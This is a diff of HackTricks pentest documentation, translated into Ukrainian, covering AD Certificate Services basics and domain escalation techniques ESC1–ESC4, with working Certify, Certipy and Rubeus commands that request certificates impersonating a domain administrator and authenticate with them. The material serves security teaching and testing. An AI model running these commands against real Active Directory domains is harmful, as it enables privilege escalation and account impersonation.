diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 0cd0578cd..37867e042 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -1,112 +1,122 @@ -# AD Certificates +# AD Сертифікати {{#include ../../../banners/hacktricks-training.md}} -## Introduction +## Вступ -### Components of a Certificate +### Компоненти сертифіката -- **Суб'єкт** сертифіката позначає його власника. -- **Публічний ключ** поєднується з приватно утримуваним ключем, щоб зв'язати сертифікат з його законним власником. -- **Період дії**, визначений датами **NotBefore** та **NotAfter**, позначає ефективну тривалість сертифіката. -- Унікальний **Серійний номер**, наданий Центром сертифікації (CA), ідентифікує кожен сертифікат. -- **Видавець** відноситься до CA, який видав сертифікат. -- **SubjectAlternativeName** дозволяє додаткові імена для суб'єкта, підвищуючи гнучкість ідентифікації. -- **Основні обмеження** визначають, чи є сертифікат для CA або кінцевого суб'єкта, і визначають обмеження використання. -- **Розширені ключові використання (EKUs)** окреслюють конкретні цілі сертифіката, такі як підписання коду або шифрування електронної пошти, через ідентифікатори об'єктів (OIDs). -- **Алгоритм підпису** визначає метод підписання сертифіката. -- **Підпис**, створений за допомогою приватного ключа видавця, гарантує автентичність сертифіката. +- **Subject** сертифіката позначає його власника. +- **Public Key** пов'язаний з приватним ключем, що дозволяє пов'язати сертифікат з його законним власником. +- **Validity Period**, визначений датами **NotBefore** та **NotAfter**, позначає період дії сертифіката. +- Унікальний **Serial Number**, що присвоюється Certificate Authority (CA), ідентифікує кожний сертифікат. +- **Issuer** позначає CA, який видав сертифікат. +- **SubjectAlternativeName** дозволяє додавати додаткові імена для Subject, підвищуючи гнучкість ідентифікації. +- **Basic Constraints** вказують, чи є сертифікат для CA або кінцевого об'єкта, і визначають обмеження використання. +- **Extended Key Usages (EKUs)** визначають конкретні призначення сертифіката, наприклад code signing або email encryption, через Object Identifiers (OIDs). +- **Signature Algorithm** визначає метод підпису сертифіката. +- **Signature**, створена приватним ключем видавця, гарантує автентичність сертифіката. -### Special Considerations +### Особливі зауваження -- **Додаткові імена суб'єкта (SANs)** розширюють застосування сертифіката на кілька ідентичностей, що є критично важливим для серверів з кількома доменами. Безпечні процеси видачі є важливими для уникнення ризиків обману з боку зловмисників, які маніпулюють специфікацією SAN. +- **Subject Alternative Names (SANs)** розширюють застосовність сертифіката на декілька ідентичностей, що критично для серверів із кількома доменами. Безпечні процеси видачі важливі, щоб уникнути ризику підроблення через маніпуляції атакувальників зі специфікацією SAN. ### Certificate Authorities (CAs) in Active Directory (AD) -AD CS визнає сертифікати CA в лісі AD через призначені контейнери, кожен з яких виконує унікальні ролі: +AD CS реєструє CA сертифікати в лісі AD через спеціальні контейнери, кожен з яких виконує певну роль: -- Контейнер **Certification Authorities** містить довірені кореневі сертифікати CA. -- Контейнер **Enrolment Services** містить деталі корпоративних CA та їх шаблони сертифікатів. -- Об'єкт **NTAuthCertificates** включає сертифікати CA, авторизовані для автентифікації AD. -- Контейнер **AIA (Authority Information Access)** полегшує валідацію ланцюга сертифікатів з проміжними та крос CA сертифікатами. +- Контейнер **Certification Authorities** містить довірені root CA сертифікати. +- Контейнер **Enrolment Services** містить відомості про Enterprise CAs та їхні шаблони сертифікатів. +- Об'єкт **NTAuthCertificates** включає CA сертифікати, авторизовані для автентифікації в AD. +- Контейнер **AIA (Authority Information Access)** сприяє перевірці ланцюжка сертифікатів через проміжні та cross CA сертифікати. -### Certificate Acquisition: Client Certificate Request Flow +### Отримання сертифіката: потік запиту клієнта -1. Процес запиту починається з того, що клієнти знаходять корпоративний CA. -2. Створюється CSR, що містить публічний ключ та інші деталі, після генерації пари публічного-приватного ключа. -3. CA оцінює CSR відповідно до доступних шаблонів сертифікатів, видаючи сертифікат на основі дозволів шаблону. -4. Після затвердження CA підписує сертифікат своїм приватним ключем і повертає його клієнту. +1. Процес запиту починається з пошуку клієнтом Enterprise CA. +2. Створюється CSR, який містить public key та інші дані, після генерації пари public-private ключів. +3. CA оцінює CSR щодо доступних шаблонів сертифікатів і видає сертифікат на основі дозволів шаблону. +4. Після погодження CA підписує сертифікат своїм приватним ключем і повертає його клієнту. -### Certificate Templates +### Шаблони сертифікатів -Визначені в AD, ці шаблони окреслюють налаштування та дозволи для видачі сертифікатів, включаючи дозволені EKUs та права на реєстрацію або модифікацію, що є критично важливими для управління доступом до сертифікатних послуг. +Шаблони, визначені в AD, описують налаштування та дозволи для видачі сертифікатів, включно з дозволеними EKU та правами на enrollment або модифікацію, що критично для контролю доступу до сервісів сертифікації. -## Certificate Enrollment +## Реєстрація сертифікатів -Процес реєстрації сертифікатів ініціюється адміністратором, який **створює шаблон сертифіката**, який потім **публікується** корпоративним Центром сертифікації (CA). Це робить шаблон доступним для реєстрації клієнтів, що досягається шляхом додавання імені шаблону до поля `certificatetemplates` об'єкта Active Directory. +Процес реєстрації сертифікатів ініціюється адміністратором, який **створює шаблон сертифіката**, який потім **публікується** Enterprise Certificate Authority (CA). Це робить шаблон доступним для реєстрації клієнтами, що досягається додаванням імені шаблону до поля `certificatetemplates` об'єкта Active Directory. -Щоб клієнт міг запитати сертифікат, **права на реєстрацію** повинні бути надані. Ці права визначаються дескрипторами безпеки на шаблоні сертифіката та самому корпоративному CA. Дозволи повинні бути надані в обох місцях для успішного запиту. +Щоб клієнт міг запитати сертифікат, повинні бути надані **enrollment rights**. Ці права визначаються через security descriptors на шаблоні сертифіката та на самому Enterprise CA. Права мають бути надані в обох місцях для успішного виконання запиту. -### Template Enrollment Rights +### Права на реєстрацію шаблону -Ці права визначаються через записи контролю доступу (ACE), що деталізують дозволи, такі як: +Ці права вказуються через Access Control Entries (ACEs) і деталізують дозволи, такі як: -- Права **Certificate-Enrollment** та **Certificate-AutoEnrollment**, кожне з яких пов'язане з конкретними GUID. +- **Certificate-Enrollment** та **Certificate-AutoEnrollment** права, кожне з яких пов'язане зі специфічним GUID. - **ExtendedRights**, що дозволяє всі розширені дозволи. - **FullControl/GenericAll**, що надає повний контроль над шаблоном. -### Enterprise CA Enrollment Rights +### Права реєстрації Enterprise CA -Права CA викладені в його дескрипторі безпеки, доступному через консоль управління Центром сертифікації. Деякі налаштування навіть дозволяють користувачам з низькими привілеями віддалений доступ, що може бути проблемою безпеки. +Права CA визначені в його security descriptor, доступному через консоль управління Certificate Authority. Деякі налаштування навіть дозволяють віддалений доступ користувачам з низькими привілеями, що може становити ризик безпеці. -### Additional Issuance Controls +### Додаткові обмеження при видачі -Можуть застосовуватися певні контролі, такі як: +Можуть застосовуватись певні контролі, такі як: -- **Затвердження менеджера**: ставить запити в стан очікування до затвердження менеджером сертифікатів. -- **Агенти реєстрації та авторизовані підписи**: визначають кількість необхідних підписів на CSR та необхідні OIDs політики застосування. +- **Manager Approval**: ставить запити в очікуваний стан до затвердження менеджером сертифікатів. +- **Enrolment Agents and Authorized Signatures**: вказують кількість підписів, необхідних на CSR, та необхідні Application Policy OIDs. -### Methods to Request Certificates +### Методи запиту сертифікатів Сертифікати можна запитувати через: -1. **Протокол реєстрації сертифікатів Windows Client** (MS-WCCE), використовуючи інтерфейси DCOM. -2. **Протокол віддаленого проходження ICertPassage** (MS-ICPR), через іменовані канали або TCP/IP. -3. **веб-інтерфейс реєстрації сертифікатів**, з встановленою роллю веб-реєстрації Центру сертифікації. -4. **Служба реєстрації сертифікатів** (CES), у поєднанні з службою політики реєстрації сертифікатів (CEP). -5. **Служба реєстрації мережевих пристроїв** (NDES) для мережевих пристроїв, використовуючи простий протокол реєстрації сертифікатів (SCEP). +1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), використовуючи DCOM інтерфейси. +2. **ICertPassage Remote Protocol** (MS-ICPR), через named pipes або TCP/IP. +3. **certificate enrollment web interface**, при встановленій ролі Certificate Authority Web Enrollment. +4. **Certificate Enrollment Service** (CES) у поєднанні з Certificate Enrollment Policy (CEP) service. +5. **Network Device Enrollment Service** (NDES) для мережевих пристроїв, використовуючи Simple Certificate Enrollment Protocol (SCEP). -Користувачі Windows також можуть запитувати сертифікати через GUI (`certmgr.msc` або `certlm.msc`) або командні інструменти (`certreq.exe` або команду PowerShell `Get-Certificate`). +Користувачі Windows також можуть запитувати сертифікати через GUI (`certmgr.msc` або `certlm.msc`) або інструменти командного рядка (`certreq.exe` або PowerShell команду `Get-Certificate`). ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## Сертифікатна Аутентифікація +## Аутентифікація за сертифікатами -Active Directory (AD) підтримує сертифікатну аутентифікацію, в основному використовуючи **Kerberos** та **Secure Channel (Schannel)** протоколи. +Active Directory (AD) підтримує автентифікацію за сертифікатами, здебільшого використовуючи протоколи **Kerberos** та **Secure Channel (Schannel)**. -### Процес Аутентифікації Kerberos +### Процес автентифікації Kerberos -У процесі аутентифікації Kerberos запит користувача на отримання квитка (Ticket Granting Ticket, TGT) підписується за допомогою **приватного ключа** сертифіката користувача. Цей запит проходить кілька перевірок контролером домену, включаючи **дійсність** сертифіката, **шлях** та **статус відкликання**. Перевірки також включають підтвердження, що сертифікат походить з надійного джерела, та підтвердження наявності видавця в **NTAUTH certificate store**. Успішні перевірки призводять до видачі TGT. Об'єкт **`NTAuthCertificates`** в AD, розташований за: +У процесі автентифікації Kerberos запит користувача на Ticket Granting Ticket (TGT) підписується за допомогою **приватного ключа** сертифіката користувача. Цей запит проходить кілька перевірок з боку доменного контролера, включаючи **дійсність**, **ланцюжок сертифікації (path)** та **статус відкликання** сертифіката. Перевірки також включають підтвердження того, що сертифікат походить із довіреного джерела, та підтвердження присутності видавця у **NTAUTH certificate store**. Успішні перевірки призводять до видачі TGT. Об'єкт **`NTAuthCertificates`** в AD, який знаходиться за адресою: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -є центральним для встановлення довіри до сертифікатної аутентифікації. +є центральним для встановлення довіри при автентифікації за допомогою сертифікатів. -### Аутентифікація через Secure Channel (Schannel) +### Secure Channel (Schannel) Authentication -Schannel забезпечує безпечні TLS/SSL з'єднання, під час яких клієнт представляє сертифікат, який, якщо успішно перевірений, надає доступ. Відображення сертифіката на обліковий запис AD може включати функцію Kerberos **S4U2Self** або **Subject Alternative Name (SAN)** сертифіката, серед інших методів. +Schannel сприяє встановленню захищених TLS/SSL-з'єднань, де під час handshake клієнт пред'являє сертифікат, який у разі успішної валідації надає доступ. Відповідність сертифіката обліковому запису AD може залучати функцію **Kerberos’s S4U2Self** або поле сертифіката **Subject Alternative Name (SAN)**, серед інших методів. -### Перерахування сертифікатних служб AD +### AD Certificate Services Enumeration -Служби сертифікатів AD можна перерахувати через LDAP-запити, що розкриває інформацію про **Enterprise Certificate Authorities (CAs)** та їх конфігурації. Це доступно будь-якому користувачу, аутентифікованому в домені, без спеціальних привілеїв. Інструменти, такі як **[Certify](https://github.com/GhostPack/Certify)** та **[Certipy](https://github.com/ly4k/Certipy)**, використовуються для перерахування та оцінки вразливостей в середовищах AD CS. +Служби сертифікації AD можна перелічити через LDAP-запити, що розкривають інформацію про **Enterprise Certificate Authorities (CAs)** та їхні конфігурації. До цього має доступ будь-який користувач, автентифікований у домені, без спеціальних привілеїв. Інструменти, такі як **[Certify](https://github.com/GhostPack/Certify)** та **[Certipy](https://github.com/ly4k/Certipy)**, використовуються для перелічення та оцінки вразливостей у середовищах AD CS. Команди для використання цих інструментів включають: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -119,5 +129,7 @@ certutil -v -dstemplate - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index f8933a024..133d5d0f3 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -1,8 +1,9 @@ -# AD CS Domain Escalation +# AD CS Ескалація у домені {{#include ../../../banners/hacktricks-training.md}} -**Це резюме секцій технік ескалації постів:** + +**Це резюме секцій щодо технік ескалації з постів:** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) @@ -12,23 +13,23 @@ ### Пояснення -### Неправильно налаштовані шаблони сертифікатів - ESC1 Пояснено +### Misconfigured Certificate Templates - ESC1 Explained -- **Права на реєстрацію надаються користувачам з низькими привілеями корпоративним ЦС.** -- **Затвердження менеджера не потрібне.** -- **Не потрібні підписи уповноважених осіб.** -- **Безпекові дескриптори на шаблонах сертифікатів є надто дозволяючими, що дозволяє користувачам з низькими привілеями отримувати права на реєстрацію.** -- **Шаблони сертифікатів налаштовані для визначення EKU, які полегшують аутентифікацію:** -- Ідентифікатори розширеного використання ключів (EKU), такі як Аутентифікація клієнта (OID 1.3.6.1.5.5.7.3.2), Аутентифікація клієнта PKINIT (1.3.6.1.5.2.3.4), Вхід за допомогою смарт-картки (OID 1.3.6.1.4.1.311.20.2.2), Будь-яка мета (OID 2.5.29.37.0) або без EKU (SubCA) включені. -- **Шаблон дозволяє запитувачам включати subjectAltName у Запит на підпис сертифіката (CSR):** -- Active Directory (AD) надає пріоритет subjectAltName (SAN) у сертифікаті для перевірки особи, якщо він присутній. Це означає, що, вказуючи SAN у CSR, можна запросити сертифікат для імітації будь-якого користувача (наприклад, адміністратора домену). Чи може запитувач вказати SAN, вказується в об'єкті AD шаблону сертифіката через властивість `mspki-certificate-name-flag`. Ця властивість є бітовою маскою, і наявність прапора `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` дозволяє запитувачу вказувати SAN. +- **Enterprise CA надає права реєстрації низькоправним користувачам.** +- **Не потрібне затвердження менеджера.** +- **Не потрібні підписи авторизованого персоналу.** +- **Дескриптори безпеки на шаблонах сертифікатів надто ліберальні, дозволяючи низькоправним користувачам отримувати права реєстрації.** +- **Шаблони сертифікатів налаштовані для визначення EKU, що полегшують аутентифікацію:** +- Ідентифікатори Extended Key Usage (EKU), такі як Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), або відсутність EKU (SubCA), можуть бути включені. +- **Шаблон дозволяє запитувачам включати subjectAltName у Certificate Signing Request (CSR):** +- Active Directory (AD) віддає пріоритет subjectAltName (SAN) у сертифікаті для перевірки ідентичності, якщо він присутній. Це означає, що вказавши SAN у CSR, можна запросити сертифікат для видавання себе за будь-якого користувача (наприклад, domain administrator). Можливість вказувати SAN запитувачем визначається в об'єкті шаблону сертифіката в AD через властивість `mspki-certificate-name-flag`. Ця властивість є бітовою маскою, і наявність прапорця `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` дозволяє запитувачу вказувати SAN. > [!CAUTION] -> Описана конфігурація дозволяє користувачам з низькими привілеями запитувати сертифікати з будь-яким вибраним SAN, що дозволяє аутентифікацію як будь-якого доменного принципала через Kerberos або SChannel. +> Конфігурація, описана вище, дозволяє низькоправним користувачам запитувати сертифікати з будь-яким обраним SAN, що дає змогу автентифікуватись від імені будь-якого доменного об'єкта через Kerberos або SChannel. -Ця функція іноді активується для підтримки генерації HTTPS або хост-сертифікатів на льоту продуктами або службами розгортання, або через брак розуміння. +Цю опцію іноді ввімкнюють для підтримки динамічної генерації HTTPS або host сертифікатів продуктами чи службами деплойменту, або через незнання. -Зазначається, що створення сертифіката з цією опцією викликає попередження, чого не відбувається, коли існуючий шаблон сертифіката (такий як шаблон `WebServer`, у якого активовано `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) дублюється, а потім модифікується для включення OID аутентифікації. +Зауважте, що створення сертифіката з цією опцією викликає попередження, чого не відбувається, коли існуючий шаблон сертифіката (наприклад, шаблон `WebServer`, який має увімкнений `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) дублюють і потім модифікують, додавши OID для аутентифікації. ### Зловживання @@ -37,19 +38,30 @@ Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -Щоб **зловживати цією вразливістю для видавання себе за адміністратора**, можна виконати: +Щоб **зловживати цією вразливістю та видавати себе за адміністратора**, можна запустити: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -Тоді ви можете перетворити згенерований **сертифікат у формат `.pfx`** і використовувати його для **автентифікації за допомогою Rubeus або certipy** знову: +Потім ви можете перетворити згенерований **сертифікат у формат `.pfx`** і знову використовувати його для **аутентифікації за допомогою Rubeus або certipy**: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Віконні двійкові файли "Certreq.exe" та "Certutil.exe" можуть бути використані для генерації PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +The Windows binaries "Certreq.exe" & "Certutil.exe" can be used to generate the PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -Перерахунок шаблонів сертифікатів у конфігураційній схемі лісу AD, зокрема тих, які не потребують затвердження або підписів, що мають EKU для клієнтської аутентифікації або Smart Card Logon, та з увімкненим прапором `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, можна виконати, запустивши наступний LDAP запит: +Перелічення шаблонів сертифікатів у схемі конфігурації AD Forest, зокрема тих, що не потребують погодження або підписів, мають Client Authentication або Smart Card Logon EKU, і з увімкненим прапором `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, можна виконати, запустивши наступний LDAP-запит: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` @@ -59,47 +71,47 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo Другий сценарій зловживання є варіацією першого: -1. Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA. -2. Вимога на затвердження менеджером вимкнена. -3. Необхідність авторизованих підписів пропущена. -4. Надмірно дозволяючий дескриптор безпеки на шаблоні сертифіката надає права на реєстрацію сертифікатів користувачам з низькими привілеями. -5. **Шаблон сертифіката визначено так, щоб включати Any Purpose EKU або не мати EKU.** +1. Права на реєстрацію (enrollment) надаються користувачам з низькими привілеями Enterprise CA. +2. Вимога схвалення керівника вимкнена. +3. Відсутня потреба в авторизованих підписах. +4. Надмірно ліберальний дескриптор безпеки шаблону сертифіката надає права на реєстрацію сертифікатів користувачам з низькими привілеями. +5. **Шаблон сертифіката визначено так, щоб містити Any Purpose EKU або взагалі не містити EKU.** -**Any Purpose EKU** дозволяє зловмиснику отримати сертифікат для **будь-якої мети**, включаючи автентифікацію клієнта, автентифікацію сервера, підписання коду тощо. Та ж **техніка, що використовується для ESC3**, може бути застосована для експлуатації цього сценарію. +The **Any Purpose EKU** дозволяє зловмиснику отримати сертифікат для **будь-якої мети**, включно з автентифікацією клієнта, автентифікацією сервера, code signing тощо. Та сама **technique used for ESC3** може бути використана для експлуатації цього сценарію. -Сертифікати з **без EKU**, які діють як сертифікати підпорядкованого CA, можуть бути використані для **будь-якої мети** і **також можуть бути використані для підписання нових сертифікатів**. Отже, зловмисник може вказати довільні EKU або поля в нових сертифікатах, використовуючи сертифікат підпорядкованого CA. +Сертифікати з **no EKUs**, які виступають як subordinate CA certificates, можуть бути використані для **будь-якої мети** і **також можуть бути використані для підпису нових сертифікатів**. Отже, зловмисник може вказати довільні EKU або поля в нових сертифікатах, використовуючи subordinate CA certificate. -Однак нові сертифікати, створені для **автентифікації домену**, не працюватимуть, якщо підпорядкований CA не довіряється об'єкту **`NTAuthCertificates`**, що є налаштуванням за замовчуванням. Проте зловмисник все ще може створювати **нові сертифікати з будь-яким EKU** та довільними значеннями сертифікатів. Ці сертифікати можуть бути потенційно **зловживані** для широкого спектру цілей (наприклад, підписання коду, автентифікація сервера тощо) і можуть мати значні наслідки для інших додатків у мережі, таких як SAML, AD FS або IPSec. +Однак нові сертифікати, створені для **domain authentication**, не працюватимуть, якщо subordinate CA не довіряється об’єктом **`NTAuthCertificates`**, що є налаштуванням за замовчуванням. Тим не менш, зловмисник усе одно може створити **нові сертифікати з будь-яким EKU** та довільними значеннями сертифікатів. Це може бути потенційно **зловживано** для широкого кола цілей (наприклад, code signing, server authentication тощо) і може мати значні наслідки для інших додатків у мережі, таких як SAML, AD FS або IPSec. -Щоб перерахувати шаблони, які відповідають цьому сценарію в конфігураційній схемі AD Forest, можна виконати наступний LDAP запит: +Щоб перелічити шаблони, що відповідають цьому сценарію в конфігураційній схемі AD Forest, можна виконати такий LDAP-запит: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Неправильно налаштовані шаблони агентів реєстрації - ESC3 +## Неправильно налаштовані шаблони Enrolment Agent - ESC3 ### Пояснення -Цей сценарій схожий на перший і другий, але **зловживає** **іншим EKU** (Агент запиту сертифіката) та **2 різними шаблонами** (отже, має 2 набори вимог), +Цей сценарій схожий на перший та другий, але **abusing** іншу **EKU** (Certificate Request Agent) та **2 різні шаблони** (тому має 2 набори вимог), -**EKU агента запиту сертифіката** (OID 1.3.6.1.4.1.311.20.2.1), відомий як **Агент реєстрації** в документації Microsoft, дозволяє суб'єкту **реєструвати** **сертифікат** **від імені іншого користувача**. +The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), відомий як **Enrollment Agent** в документації Microsoft, дозволяє сутності **enroll** для **сертифікату** від **імені іншого користувача**. -**“Агент реєстрації”** реєструється в такому **шаблоні** і використовує отриманий **сертифікат для спільного підписання CSR від імені іншого користувача**. Потім він **надсилає** **спільно підписаний CSR** до CA, реєструючись у **шаблоні**, який **дозволяє “реєстрацію від імені”**, і CA відповідає **сертифікатом, що належить “іншому” користувачу**. +The **“enrollment agent”** реєструється в такому **шаблоні** і використовує отриманий **сертифікат для спільного підпису CSR від імені іншого користувача**. Далі він **надсилає** цей **спільно підписаний CSR** до CA, реєструючись у **шаблоні**, який **дозволяє “enroll on behalf of”**, і CA відповідає сертифікатом, що належить “іншому” користувачу. -**Вимоги 1:** +**Requirements 1:** -- Права на реєстрацію надаються користувачам з низькими привілеями корпоративним CA. -- Вимога на затвердження менеджера пропускається. -- Немає вимоги на авторизовані підписи. -- Безпековий дескриптор шаблону сертифіката є надмірно дозволяючим, надаючи права на реєстрацію користувачам з низькими привілеями. -- Шаблон сертифіката включає EKU агента запиту сертифіката, що дозволяє запитувати інші шаблони сертифікатів від імені інших суб'єктів. +- Права на реєстрацію (enrollment rights) надаються низькоправовим користувачам Enterprise CA. +- Вимога затвердження менеджером опущена. +- Відсутня вимога авторизованих підписів. +- Дескриптор безпеки шаблону сертифіката надмірно дозволяє, надаючи права на реєстрацію низькоправовим користувачам. +- Шаблон сертифіката включає Certificate Request Agent EKU, що дозволяє запитувати інші шаблони сертифікатів від імені інших суб'єктів. -**Вимоги 2:** +**Requirements 2:** -- Корпоративний CA надає права на реєстрацію користувачам з низькими привілеями. +- Enterprise CA надає права на реєстрацію низькоправовим користувачам. - Затвердження менеджера обходиться. -- Версія схеми шаблону є або 1, або перевищує 2, і вона вказує на вимогу політики застосування, яка вимагає EKU агента запиту сертифіката. -- EKU, визначений у шаблоні сертифіката, дозволяє доменну аутентифікацію. -- Обмеження для агентів реєстрації не застосовуються на CA. +- Схема версії шаблону або 1, або перевищує 2, і вона вказує Application Policy Issuance Requirement, що вимагає Certificate Request Agent EKU. +- EKU, визначена в шаблоні сертифіката, дозволяє аутентифікацію в домені. +- Обмеження для enrollment agents не застосовуються на CA. ### Зловживання @@ -117,39 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -**Користувачі**, яким дозволено **отримувати** **сертифікат агента реєстрації**, шаблони, в яких агентам реєстрації дозволено реєструватися, та **облікові записи**, від імені яких агент реєстрації може діяти, можуть бути обмежені корпоративними ЦС. Це досягається шляхом відкриття `certsrc.msc` **додатку**, **клацання правою кнопкою миші на ЦС**, **вибору Властивості**, а потім **переміщення** на вкладку “Агенти реєстрації”. +Користувачі, які дозволені для отримання **enrollment agent certificate**, шаблони, у яких **agents** мають право реєструватися, та **accounts**, від імені яких агент реєстрації може діяти, можуть бути обмежені корпоративними CA. Це досягається відкривши `certsrc.msc` **snap-in**, **клацнувши правою кнопкою миші по CA**, **натиснувши Properties**, а потім **перейшовши на вкладку “Enrollment Agents”**. -Однак зазначено, що **за замовчуванням** налаштування для ЦС полягає в тому, щоб “**Не обмежувати агентів реєстрації**.” Коли обмеження для агентів реєстрації активується адміністраторами, встановлення його на “Обмежити агентів реєстрації” залишає конфігурацію за замовчуванням надзвичайно ліберальною. Це дозволяє **Усім** отримати доступ до реєстрації в усіх шаблонах як будь-хто. +Проте зауважено, що **налаштування за замовчуванням** для CA — “Do not restrict enrollment agents.” Коли адміністратори вмикають обмеження для агентів реєстрації, встановлюючи “Restrict enrollment agents”, конфігурація за замовчуванням залишається надзвичайно дозволяючою. Вона дозволяє **Everyone** доступ реєструватися у всіх шаблонах як будь-хто. -## Вразливий контроль доступу до шаблону сертифіката - ESC4 +## Уразливий контроль доступу до шаблонів сертифікатів - ESC4 ### **Пояснення** -**Секюріті дескриптор** на **шаблонах сертифікатів** визначає **дозволи**, які конкретні **AD принципали** мають щодо шаблону. +**Дескриптор безпеки** на **шаблонах сертифікатів** визначає **повноваження**, якими володіють певні **принципали AD** щодо шаблону. -Якщо **зловмисник** має необхідні **дозволи** для **зміни** **шаблону** та **встановлення** будь-яких **експлуатованих неправильних налаштувань**, описаних у **попередніх розділах**, це може сприяти ескалації привілеїв. +Якщо **атакуючий** має необхідні **права** для **зміни** шаблону та **впровадження** будь-яких **експлуатованих неправильних налаштувань**, описаних у попередніх розділах, це може сприяти підвищенню привілеїв. -Значні дозволи, що застосовуються до шаблонів сертифікатів, включають: +Важливі права, що застосовуються до шаблонів сертифікатів, включають: -- **Власник:** Надає неявний контроль над об'єктом, дозволяючи змінювати будь-які атрибути. -- **FullControl:** Дозволяє повну владу над об'єктом, включаючи можливість 